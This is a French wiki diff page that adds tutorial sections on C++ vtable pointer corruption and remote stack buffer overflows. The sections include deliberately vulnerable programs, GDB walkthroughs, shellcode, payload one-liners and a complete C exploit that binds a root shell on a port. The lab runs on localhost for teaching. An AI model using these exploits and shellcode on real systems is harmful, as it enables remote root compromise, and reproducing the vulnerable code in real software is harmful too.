Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

--- failles_app:bof [2017/02/16 15:27]
JohnRiddler C++ vtables. Corruption de VPTR
+++ failles_app:bof [2017/04/09 15:33] (Version actuelle)
@@ Ligne 20: / Ligne 20: @@
   * 6. C++ vtables
     * 6.1 Corruption de VPTR
-  * 7. Monsieur, chez moi ça marche pas !
+    * 6.2 Corruption de VPTR - Shellcode
-  * 8. Ressources
+  * 7. Remote buffer overflows
+    * 7.1 Introduction aux remote BOF
+    * 7.2 Obtenir une shell
+  * 8. Monsieur, chez moi ça marche pas !
+  * 9. Ressources
 ===== 1. Intel x86 =====
@@ Ligne 932: / Ligne 936: @@
 Nous avons donc 2 sous classes dérivées de ''SuperClass'', dont le comportement diffère au niveau de la méthode ''vfunc''. Le grand avantage que procure la POO est qu'il est possible d'appeler la même méthode ''vfunc'' mais depuis des objets issus de classes différentes, et cela est possible grâce aux méthodes virtuelles. Le fait qu'une méthode soit virtuelle signifie donc que l'appel dépend de l'appelant, et que cette résolution se fait au cours de l'exécution (**dynamic binding**). Si la méthode n'est pas virtuelle, nous avons un **static binding**, fait lors de la compilation. Ici, nous allons nous intéresser au **dynamic binding**, en essayant de le tromper pour que la résolution lors du run time soit faussée.
-Lorsque le compilateur va parcourir la déclaration de la classe ''SuperClass'', il va d'abord lire la déclaration de ''func1'', et puisque cette méthode n'est pas virtuelle, il va directement assigner l'adresse de cette méthode dans le code, en dur. Cependant, ce ne sera pas le cas lors de l'analyse de ''vfunc'', puisque cette méthode étant virtuelle, la résolution est dynamique, et le compilateur va donc réserver 4 bytes pour un pointeur, à côté des 4 bytes réservés à l'attribut de type ''int''. Ce Virtual Pointer, ou VPTR, pointe vers une entrée d'une table de pointeurs de fonctions (VTABLE) propre à la classe (ici un exemple pour l'objet ''s1'' de ''SubClass1'') :
+Lorsque le compilateur va parcourir la déclaration de la classe ''SuperClass'', il va d'abord lire la déclaration de ''func1'', et puisque cette méthode n'est pas virtuelle, il va directement assigner l'adresse de cette méthode dans le code, en dur. Cependant, ce ne sera pas le cas lors de l'analyse de ''vfunc'', puisque cette méthode étant virtuelle, la résolution est dynamique, et le compilateur va donc réserver 4 bytes pour un pointeur. Ce Virtual Pointer, ou VPTR, pointe vers une entrée d'une table de pointeurs de fonctions (VTABLE) propre à la classe (ici un exemple pour l'objet ''s1'' de ''SubClass1'') :
-{{:failles_app:vtable.png?nolink&500|}}
+{{ :failles_app:vtable1.png?nolink&300 |}}
+Notre but ici va être donc d'écraser le VPTR afin de modifier le flux d'exécution.
-Ce qu'un habitué des buffer overflows remarque immédiatement, c'est que le VPTR est placé après l'attribut ''attr1'', ce qui signifie que s'il s'agissait d'un buffer et si ce dernier débordait, le VPTR serait alors écrasé…
+// **(NB : ASLR a été désactivé )** // \\
 ==== 6.1. Corruption de VPTR ====
-// **(NB : ASLR a été désactivé )** // \\
 Commençons par un exemple simple avec le programme suivant :
 <file C++ vptr.cpp>
@@ Ligne 1203: / Ligne 1206: @@
 Boom !
-===== 7. Monsieur, chez moi ça marche pas ! =====
+==== 6.2 Corruption de VPTR - Shellcode ====
+Pour ce second exemple, le programme ne nous offre pas de fonction intéressante à exécuter en tant qu'attaquant. Nous allons donc retourner vers un shellcode (nous n'expliquerons pas les détails de l'injection de shellcode par les variables d'environnement. Se reporter en 4.2 si nécessaire)
+<file C++ vptrShellcode.cpp>
+#include <iostream>
+#include <cstdlib>
+#include <cstring>
+#include <cstdio>
+using namespace std;
+/** g++ -m32 -o vptrShellcode vptrShellcode.cpp -z execstack **/
+class Person{
+	public:
+		virtual void talk(const char *name) = 0;
+};
+class NiceGirl: public Person{
+	public:
+		void talk(const char* name){
+			cout << "My name is " << name << ",and all girls are beautiful" << endl;
+		}
+};
+class TheManWhoSoldTheWorld:public Person{
+	public:
+		void talk(const char* name){
+			cout << "And his name is " << name << " !!" << endl;
+			cout << "We passed upon the stair, we spoke of was and when" << endl;
+		}
+};
+void displayMessage(int);
+int main(int argc, char ** argv){
+	if(argc < 2){
+		cout << "Usage : ./vptrShellcode <bool>" << endl;
+		return 1;
+	}
+	displayMessage(atoi(argv[1]));
+	return 0;
+}
+void displayMessage(int gender){
+	Person* person;
+	if(gender){
+		person = new TheManWhoSoldTheWorld;
+	}
+	else{
+		person = new NiceGirl;
+	}
+     char name[32];
+     gets(name);
+     person->talk(name);
+     delete person;
+}
+</file>
+La faille est donc bien sûr dans la fonction ''displayMessage'' avec la fameuse ''gets'' qui nous permet d'écraser le pointeur sur une instance de ''Person''.
+<code>
+$ ./vptrShellcode 0
+     EmmaS
+     My name is EmmaS,and all girls are beautiful
+$ ./vptrShellcode 1
+     JohnC
+     And his name is JohnC !!
+     We passed upon the stair, we spoke of was and when
+$ cat <(python -c "print 'A' * 32") | ./vptrShellcode 0
+     Erreur de segmentation
+</code>
+Rien de surprenant, donc, puisque le buffer fait pile 32 caractères. Comme dans l'exemple précédent, le ''null byte'' semble écraser une valeur sensible.\\
+Dégainons GDB pour analyser tout ceci :
+<code>
+$ gdb ./vptrShellcode
+…
+(gdb) disas displayMessage
+Dump of assembler code for function _Z14displayMessagei:
+x080488bd <+0>:	push   %ebp
+x080488be <+1>:	mov    %esp,%ebp
+x080488c0 <+3>:	push   %ebx
+x080488c1 <+4>:	sub    $0x34,%esp
+x080488c4 <+7>:	cmpl   $0x0,0x8(%ebp)
+x080488c8 <+11>:	je     0x80488ea <_Z14displayMessagei+45>
+x080488ca <+13>:	sub    $0xc,%esp
+x080488cd <+16>:	push   $0x4
+x080488cf <+18>:	call   0x8048720 <_Znwj@plt>
+x080488d4 <+23>:	add    $0x10,%esp
+x080488d7 <+26>:	mov    %eax,%ebx
+x080488d9 <+28>:	sub    $0xc,%esp
+x080488dc <+31>:	push   %ebx
+x080488dd <+32>:	call   0x8048a6c <_ZN21TheManWhoSoldTheWorldC2Ev>
+x080488e2 <+37>:	add    $0x10,%esp
+x080488e5 <+40>:	mov    %ebx,-0xc(%ebp)
+x080488e8 <+43>:	jmp    0x8048908 <_Z14displayMessagei+75>
+x080488ea <+45>:	sub    $0xc,%esp
+x080488ed <+48>:	push   $0x4
+x080488ef <+50>:	call   0x8048720 <_Znwj@plt>
+x080488f4 <+55>:	add    $0x10,%esp
+x080488f7 <+58>:	mov    %eax,%ebx
+x080488f9 <+60>:	sub    $0xc,%esp
+x080488fc <+63>:	push   %ebx
+x080488fd <+64>:	call   0x8048a8c <_ZN8NiceGirlC2Ev>
+x08048902 <+69>:	add    $0x10,%esp
+x08048905 <+72>:	mov    %ebx,-0xc(%ebp)
+x08048908 <+75>:	sub    $0xc,%esp
+x0804890b <+78>:	lea    -0x2c(%ebp),%eax
+x0804890e <+81>:	push   %eax
+x0804890f <+82>:	call   0x80486b0 <gets@plt>
+x08048914 <+87>:	add    $0x10,%esp
+x08048917 <+90>:	mov    -0xc(%ebp),%eax
+x0804891a <+93>:	mov    (%eax),%eax
+x0804891c <+95>:	mov    (%eax),%eax
+x0804891e <+97>:	sub    $0x8,%esp
+x08048921 <+100>:	lea    -0x2c(%ebp),%edx
+x08048924 <+103>:	push   %edx
+x08048925 <+104>:	pushl  -0xc(%ebp)
+x08048928 <+107>:	call   *%eax
+x0804892a <+109>:	add    $0x10,%esp
+x0804892d <+112>:	sub    $0xc,%esp
+x08048930 <+115>:	pushl  -0xc(%ebp)
+x08048933 <+118>:	call   0x80486a0 <_ZdlPv@plt>
+x08048938 <+123>:	add    $0x10,%esp
+x0804893b <+126>:	mov    -0x4(%ebp),%ebx
+x0804893e <+129>:	leave
+x0804893f <+130>:	ret
+End of assembler dump.
+</code>
+Comme dans l'exemple précédent, nous remarquons immédiatement le ''call'' un peu particulier en <+107>, alors breakons à son niveau.
+<code>
+(gdb) break *0x08048928
+     Breakpoint 1 at 0x8048928
+(gdb) run 1 < <(python -c "print 'A' * 31")
+     Starting program: /home/enzo/Documents/art/stack_BOF/vptrShellcode 1 < <(python -c "print 'A' * 31")
+     Breakpoint 1, 0x08048928 in displayMessage(int) ()
+(gdb) x/x $esp
+xffffd200:	0x0804a008
+(gdb) x/x $esp+4
+xffffd204:	0xffffd21c
+(gdb) x/x 0x0804a008
+x0804a008:	0x08048be0
+(gdb) x/x 0xffffd21c
+xffffd21c:	0x41414141
+</code>
+Le premier paramètre est évidemment le plus intéressant puisqu'il s'agit du pointeur. Si on affiche le haut de la pile, on trouve :
+<code>
+(gdb) x/20x $esp
+xffffd200:0x0804a008	0xffffd21c	0x0000000a	0x00000000
+xffffd210:0xf7e5d8a0	0xf7cbed48	0x08049158	0x41414141
+xffffd220:0x41414141	0x41414141	0x41414141	0x41414141
+xffffd230:0x41414141	0x41414141	0x00414141	0x0804a008
+xffffd240:0xffffd4bd	0xf7e5d000	0xffffd268	0x080488ad
+</code>
+Parfait, nous voyons grâce au dernier A (en ''0xffffd23a'') qu'avec 5 bytes supplémentaires, nous écrasons proprement le pointeur (en ''0xffffd23c'')!\\
+Grâce au code nous voyons que ''%eax'' est manipulé 2 fois, en prenant comme nouvelle valeur celle se trouvant à l'adresse qu'il pointe.\\
+Pour construire notre payload, nous aurons donc :
+<code>
+adresse du byte suivant
+adresse du shellcode
+AAA … A
+adresse du début de la payload
+</code>
+Commençons donc par le shellcode (http://insecure.org/stf/smashstack.html):
+<code>
+$ export PAYLOAD=`python -c "print '\x90' * 200 + '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'"`
+</code>
+Ensuite, avec GDB, cherchons son adresse en tâtonnant un peu, pour trouver :
+<code>
+(gdb) x/s *((char **)environ+37)+8
+xffffde80:	'\220' <repeats 200 times>...
+</code>
+A présent, nous avons tout ce qu'il nous faut pour construire la payload. Puisque le buffer commence à l'adresse ''0xffffd21c'' d'après la sortie de la commande ''(gdb) x/20x $esp'' lancée précédemment (4ème bloc en partant de la gauche à la deuxième ligne), nous avons:
+<code>
+xffffd220 (= 0xffffd21c + 4) +
+xffffde80 +
+* 'A' (=32 – 2 * adresses) +
+xffffd21c
+</code>
+Testons cela avec GDB :
+<code>
+$ gdb ./vptrShellcodeGNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
+     …
+(gdb) run 1 < <(python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'")
+     Starting program: /home/enzo/Documents/art/stack_BOF/vptrShellcode 1 < <(python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'")
+     process 3836 is executing new program: /bin/dash
+     [Inferior 1 (process 3836) exited normally
+</code>
+Nous voyons qu'une shell a été ouverte ! Relançons donc sans GDB :
+<code>
+$ cat <(python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'") - |./vptrShellcode 1
+whoami
+     Erreur de segmentation
+</code>
+Et oui, ça ne fonctionne pas !\\
+Nous allons donc nous servir de l'outil ''ltrace'' pour obtenir des indices supplémentaires sur ce problème :
+<code>
+$ python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'" > args.txt
+$ ltrace ./vptrShellcode 1 < args.txt
+     __libc_start_main(0x804884b, 2, 0xffffd364, 0x8048ab0 <unfinished ...>
+     _ZNSt8ios_base4InitC1Ev(0x804928d, 0, 0, 0xf7ce5243) = 0xf7fb5454
+     __cxa_atexit(0x80486e0, 0x804928d, 0x8049158, 0xf7ce5243) = 0
+     atoi(0xffffd4ef, 0xffffd364, 0xffffd370, 0xf7ce53fd) = 1
+     _Znwj(4, 0, 10, 0)                           = 0x804a008
+     gets(0xffffd26c, 0, 10, 0)                   = 0xffffd26c
+     --- SIGSEGV (Segmentation fault) ---
+     +++ killed by SIGSEGV +++
+</code>
+Nous voyons que juste avant de provoquer une erreur de segmentation, ''gets'' utilise l'adresse ''0xffffd26c'', alors que GDB plaçait notre buffer en ''0xffffd21c''. Nous déduisons donc qu'il y a un offset de 0x50 au niveau des adresses.\\
+Essayons d'appliquer cet offset aux 2 adresses de la payload (celle du shellcode n'a pas d'importance).\\
+Nous avions :
+<code>
+xffffd220 (= 0xffffd21c + 4) +
+xffffde80 +
+* 'A' (=32 – 2 * adresses) +
+xffffd21c
+</code>
+Ce qui donne donc avec un décalage de 0x50 :
+<code>
+xffffd270 +
+xffffde80 +
+* 'A' +
+xffffd26c
+</code>
+Retentons :
+<code>
+$ cat <(python -c "print '\x70\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x6c\xd2\xff\xff'") - |./vptrShellcode 1
+whoami
+     root
+</code>
+We did it !
+===== 7. Remote buffer overflows =====
+//**(ASLR désactivé)**//\\
+Dans cette section, nous allons aborder l'exploitation à distance des buffer overflows. En effet, apprendre à exploiter un programme localement peut être très utile, mais l'attaque à distance a sûrement plus de chances d'arriver dans une situation réelle. Le principe de base n'est pas très différent de celui d'une exploitation en local à deux choses près : d'une part nous allons utiliser des sockets pour communiquer avec le serveur, et d'autre part nous n'avons pas d'accès physique à la machine, ce qui fait que nous n'allons pas appeler ''system("/bin/sh")'' de la même manière que nous le faisions jusqu'ici.
+__Socket (Wiki)__:\\
+Il s’agit d’une interface logicielle avec les services du système d’exploitation, grâce à laquelle un développeur exploitera facilement et de manière uniforme les services d’un protocole réseau. Comme nous sommes ici en C, tout ce dont nous aurons besoin de situe dans ''netinet/in.h''.
+==== 7.1 Introduction aux remote BOF ====
+Cette première démonstration va être très simple car nous allons simplement nous contenter d'imprimer un message de validation.  Pour effectuer l'attaque, nous allons lancer dans une première shell le programme ''server'', dont le code est donné ci dessous (le port choisi est 42742, et n'est évidemment pas une obligation) :
+<file C server.c>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <netinet/in.h>
+#define BUFFER_SIZE 256
+#define MESSAGE_SIZE 141
+/** gcc -m32 -o server server.c -fno-stack-protector**/
+typedef struct sockaddr SOCKADDR;
+typedef struct sockaddr_in SOCKADDR_IN;
+void run(int);
+int main(int argc, char **argv){
+	SOCKADDR_IN server, client;
+	int socket_res, size_sockaddrin, accept_res, recv_res;
+	socket_res = socket(AF_INET, SOCK_STREAM, 0);
+	if(socket_res < 0){
+		printf("Error: unable to create the socket\n");
+	}
+	server.sin_family = AF_INET;
+	server.sin_addr.s_addr = INADDR_ANY;
+	server.sin_port = htons(42742);
+	if(bind(socket_res, (SOCKADDR *)&server, sizeof server) < 0){
+		printf("Error: unable to bind\n");
+	}
+	listen(socket_res, 5);
+	printf(" ====================== Listening ...  ======================\n");
+	size_sockaddrin = sizeof(SOCKADDR_IN);
+	accept_res = accept(socket_res,  (SOCKADDR *)&client, (socklen_t *)&size_sockaddrin);
+	if(accept_res < 0){
+		printf("Error: unable to accept incoming connection\n");
+	}
+	printf(" ====================== Connected ... ======================\n");
+	run(accept_res);
+	return 0;
+}
+void run(int accept_res){
+	char tweet[MESSAGE_SIZE];
+	char buffer[BUFFER_SIZE];
+	int data = recv(accept_res, buffer, BUFFER_SIZE, 0);
+	if(data > 0){
+		buffer[data-1] = '\0';
+		strcpy(tweet, buffer);
+		printf("Your tweet: %s\n", tweet);
+	}
+	else if(data == -1){
+		printf("Error: unable to receive\n");
+	}
+	close(accept_res);
+}
+void printOK(){
+        printf("OK\n");
+}
+</file>
+Ce programme tout simple va écouter sur le port 42742 en attendant la connexion d'un client. Si un client se connecte et envoie une string, le programme va simplement la lui imprimer et clore la connexion. Nous ferons tourner le programme sur localhost, et parallèlement, nous jouerons le rôle de l'attaquant dans une seconde shell, côté client.\\
+Ici, la faille est assez évidente : la fonction ''strcpy'' dans ''run'' va copier le contenu d'un buffer dont la capacité est de 256 bytes vers un buffer de 141 bytes. Ce buffer plus petit va donc déborder et nous allons pouvoir écraser l'adresse de retour de la fonction et rediriger le programme vers la fonction voulue (''printOK'').
+Premièrement, il faut déterminer l'adresse de retour et la taille de la string junk, alors pour cela, lançons GDB dans la shell serveur :
+<code>
+(gdb) print printOK
+	$1 = {<text variable, no debug info>} 0x8048741 <printOK>
+</code>
+Ensuite, trouvons la taille de la string junk en observant le code de ''run'' où se situe la fonction vulnérable :
+<code>
+(gdb) disas run
+Dump of assembler code for function run:
+   …
+x080486fa <+60>:	lea    -0x199(%ebp),%eax
+x08048700 <+66>:	push   %eax
+x08048701 <+67>:	lea    -0x99(%ebp),%eax
+   …
+End of assembler dump.
+</code>
+Aux lignes <+60> et <+67> nous voyons que les paramètres de la fonction ''strcpy'' sont situés à 256 bytes (''0x199 – 0x99 = 0x100 = 256'') l'un de l'autre. Le premier est à ''%ebp -0x99'', c'est-à-dire situé à 153 bytes de ''%ebp''.\\
+Ainsi, la payload se construit avec :
+<code>
+bytes de junk +
+bytes de junk pour écraser le pointeur de base +
+adresse de retour (0x8048741)
+</code>
+Pour finir, dans la shell serveur lançons ''server'' sans debugger :
+<code>
+$ ./server
+	 ====================== Listening ...  ======================
+</code>
+Puis dans la shell client, comme lors d'une exploitation locale, plaçons la payload dans le ''stdin'' avec  ''cat'', et utilisons un pipe pour l'envoyer via ''telnet'':
+<code>
+$ cat <(python -c "print 'A' * 157 +'\x41\x87\x04\x08'") | telnet 127.0.0.1 42742
+	Trying 127.0.0.1...
+	Connected to 127.0.0.1.
+	Escape character is '^]'.
+	Connection closed by foreign host
+</code>
+La connexion a été fermée, alors revenons dans la shell serveur pour observer ce qu'il s'est passé. On a maintenant :
+<code>
+	…
+	====================== Connected ... ======================
+	Your tweet: 	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS�#
+	OK
+	Erreur de segmentation
+</code>
+Le message OK a bien été imprimé, nous sommes donc capables de contrôler le haut de la pile !
+==== 7.2 Obtenir une shell ====
+Corrompre des données, c'est bien, obtenir une shell en root c'est mieux !\\
+Pour cela, nous allons injecter dans notre payload un shellcode permettant d'obtenir cette shell. Toutefois, le shellcode utilisé pour une exploitation à distance ne peut pas être le même que lors d'une attaque en local. En effet, la shell ne serait pas utilisable car nous perdrions ses ''file descriptors''. Pour pallier à ce problème, nous allons utiliser un shellcode qui va attacher une shell sur un port auquel nous nous connecterons ensuite, ainsi nous pourrons avoir une shell interactive (//port binding shell//).
+Pour le serveur, le code ne change presque pas, si ce n'est que nous n'avons plus besoin de la fonction ''printOK'' que l'on peut alors enlever. En revanche, le programme doit être recompilé de la manière sivante sinon le shellcode ne pourrait pas être exécuté :
+<code>
+# gcc -m32 -o server server.c -fno-stack-protector -z execstack
+</code>
+et le bit suid a été activé :
+<code>
+# chmod +s server
+</code>
+Pour l'exploit, nous allons cette fois ci l'écrire en C au lieu de simplement le taper en ligne de commande. Le programme se contentera d'ouvrir une connexion et d'envoyer la payload.\\
+Nous savons déjà grâce à l'exploit précédent qu'il faut 157 bytes avant d'écraser l'adresse de retour, sauf que cette fois-ci nous n'allons pas mettre n'importe quoi avant cette adresse. Comme nous utilisons un shellcode il est préférable de placer une NOP sled devant afin d'éviter les problèmes de décalages d'adresses.
+Pour la payload, nous avons donc logiquement :
+<code>
+NOP sled +
+shellcode +
+adresse de retour
+</code>
+Le shellcode que nous allons utiliser est celui attribué à Bighawk (78 bytes) permettant de binder une shell sur le port 26112  :
+<code>
+\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10\x51\x50
+\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f
+\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80
+</code>
+En sachant que la NOP sled et le shellcode doivent être contenus dans 157 bytes, nous avons donc une NOP sled de 157 – 78 = 79 bytes, ce qui est assez confortable.
+Pour déterminer l'adresse de retour, nous allons devoir déterminer où commence le buffer, alors lançons GDB et plaçons un breakpoint juste après ''strcpy'' (dans la shell serveur) :
+<code>
+$ gdb ./server
+	…
+(gdb) disas run
+	Dump of assembler code for function run:
+   	  …
+x080486fa <+74>:	call   0x8048420 <strcpy@plt>
+x080486ff <+79>:	add    $0x10,%esp
+  	  …
+	End of assembler dump.
+(gdb) break *0x080486ff
+	Breakpoint 1 at 0x80486ff
+(gdb) run
+	Starting program: /home/enzo/Documents/BOF/stack_BOF/server
+	====================== Listening ...  ======================
+</code>
+Puis dans la shell client envoyons un message inoffensif :
+<code>
+$ cat <(python -c "print 'A' * 16")|telnet 127.0.0.1 42742
+	Trying 127.0.0.1...
+	Connected to 127.0.0.1.
+	Escape character is '^]'.
+	Connection closed by foreign host.
+</code>
+Ensuite, allons regarder dans la shell serveur où se situe le buffer. GDB doit normalement être au niveau du breakpoint :
+<code>
+(gdb) x/24x $esp
+xffffd1d0:0xffffd2ef	0xffffd1ef	0x00000100	0x00000000
+xffffd1e0:0xf15ae9b5	0x078ad74d	0xf7e0dec8	0x41ff8280
+xffffd1f0:0x41414141	0x41414141	0x41414141	0x0d414141
+xffffd200:0x00000000	0x00000010	0x00000001	0xf7fb3000
+xffffd210:0x00000000	0x00000000	0x00000001	0x00000790
+xffffd220:0xf7fd9b58	0xf7fd9860	0x080482dd	0xf7e17438
+</code>
+Nous voyons que le début du buffer avec les 41 est aux alentours de ''0xffffd1f0''. Comme la NOP sled a une taille de 79 bytes, ajoutons environ 40 pour obtenir une adresse de retour satisfaisante. Pour l'exemple, nous prendrons ''**0xffffd250**''.
+Ainsi, notre exploit en C commence ainsi :
+<file C exploit.c>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <netinet/in.h>
+#define OFFSET 157
+#define SHELLCODE_SIZE 78
+typedef struct sockaddr_in SOCKADDR_IN;
+typedef struct sockaddr SOCKADDR;
+const char shellcode[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x50\xd2\xff\xff";
+int main(int argc, char **argv){}
+</file>
+Nous déclarons donc quelques constantes, puis nous ajoutons le shellcode en le concaténant avec l'adresse de retour.\\
+Ensuite, dans la méthode ''main'', nous allons commencer par déclarer les variables locales et ajouter la NOP sled au début de la payload :
+<file C exploit.c>
+char payload[OFFSET + 5]; //+4 pour l'adresse + null byte
+int socket_res, send_res; //retours des fonctions socket et send
+SOCKADDR_IN server;
+memset(payload, 0x90, OFFSET-SHELLCODE_SIZE);
+memcpy(payload + OFFSET-SHELLCODE_SIZE, shellcode, strlen(shellcode));
+</file>
+La méthode ''memset'' nous permet de placer ''OFFSET – SHELLCODE_SIZE = 157 – 78 = 79'' caractères ''\x90'' au début de la payload. Puis, ''memcpy'' nous permet de placer le shellcode à la fin de la NOP sled. Ces deux méthodes sont similaires : la première nous permet de copier le même caractère plusieurs fois alors que la seconde copie une string.\\
+Ensuite, initialisons le socket:
+<file C exploit.c>
+socket_res = socket(AF_INET, SOCK_STREAM, 0);
+if(socket_res < 0){
+	printf("Can't create socket\n");
+	return -1;
+}
+server.sin_family = AF_INET;
+server.sin_addr.s_addr = inet_addr("127.0.0.1"); //localhost
+server.sin_port = htons(42742); //port sur lequel tourne server
+</file>
+Puisque c'est un exploit, nous n'avons pas fait tous les tests normalement nécessaires lors d'un vrai échange client-serveur. Ne reste ensuite qu'à nous connecter et envoyer la payload :
+<file C exploit.c>
+if (connect(socket_res, (SOCKADDR*)&server, sizeof(server)) < 0){
+	printf("Can't connect\n");
+	return -2;
+}
+send_res = send(socket_res, payload, strlen(payload), 0);
+close(socket_res);
+return 0;
+</file>
+L'exploit est à présent terminé, nous pouvons le compiler dans la shell client :
+<code>
+$ gcc -o exploit exploit.c -m32
+</code>
+Ensuite, il ne reste plus qu'à lancer le programme ''server'' dans la shell serveur :
+<code>
+$ ./server
+ ====================== Listening ...  ======================
+</code>
+Puis à lancer le programme ''exploit'' dans la shell client qui va tout faire pour nous :
+<code>
+$ ./exploit
+</code>
+A présent, nous avons dans la shell serveur ceci avec le stdin ouvert :
+<code>
+…
+====================== Connected ... ======================
+Your tweet: �������������������������������������������������������������������������������1���SCSj#���fRP̀CfS��j#QP��RP�f̀���#�f̀C�f̀�ٓ�?̀Iy�Rhn/shh//bi��RS���
+      P��������
+</code>
+Nous n'avons plus qu'à revenir dans la shell client et à nous connecter sur le port 26112 sur lequel doit être bindée la shell :
+<code>
+$ telnet 127.0.0.1 26112
+	Trying 127.0.0.1...
+	Connected to 127.0.0.1.
+	Escape character is '^]'.
+	whoami;
+root
+: not found:
+</code>
+(Ne pas oublier le point-virgule à la fin des commandes)
+Et voila !
+===== 8. Monsieur, chez moi ça marche pas ! =====
 Si vous testez ces techniques sur d'autres programmes, il est effectivement possible que l'attaque ne marche pas et qu'une erreur de segmentation persiste. Dans ce cas, voici quelques conseils :
@@ Ligne 1211: / Ligne 1724: @@
   * n'oubliez pas le tiret avant le pipe de séparation des commandes, il permet de garder le standard input ouvert, sinon la shell se fermerait instantanément.
-===== 8. Ressources =====
+===== 9. Ressources =====
 Ressources principales :\\
 Exploitation avancée de buffer overflow : https://lasec.epfl.ch/~oechslin/advbof.pdf \\
@@ Ligne 1220: / Ligne 1733: @@
 Integer overflow : http://phrack.org/issues/60/10.html \\
 limits.h : http://www.scs.stanford.edu/histar/src/pkg/uclibc/include/limits.h \\
-C++ vtables : http://phrack.org/issues/56/8.html
+C++ vtables : http://phrack.org/issues/56/8.html\\
+Port binding shell :https://www.exploit-db.com/papers/143/

Zenk - Security

Outils d'utilisateurs

Outils du Site

Différences

Outils de la Page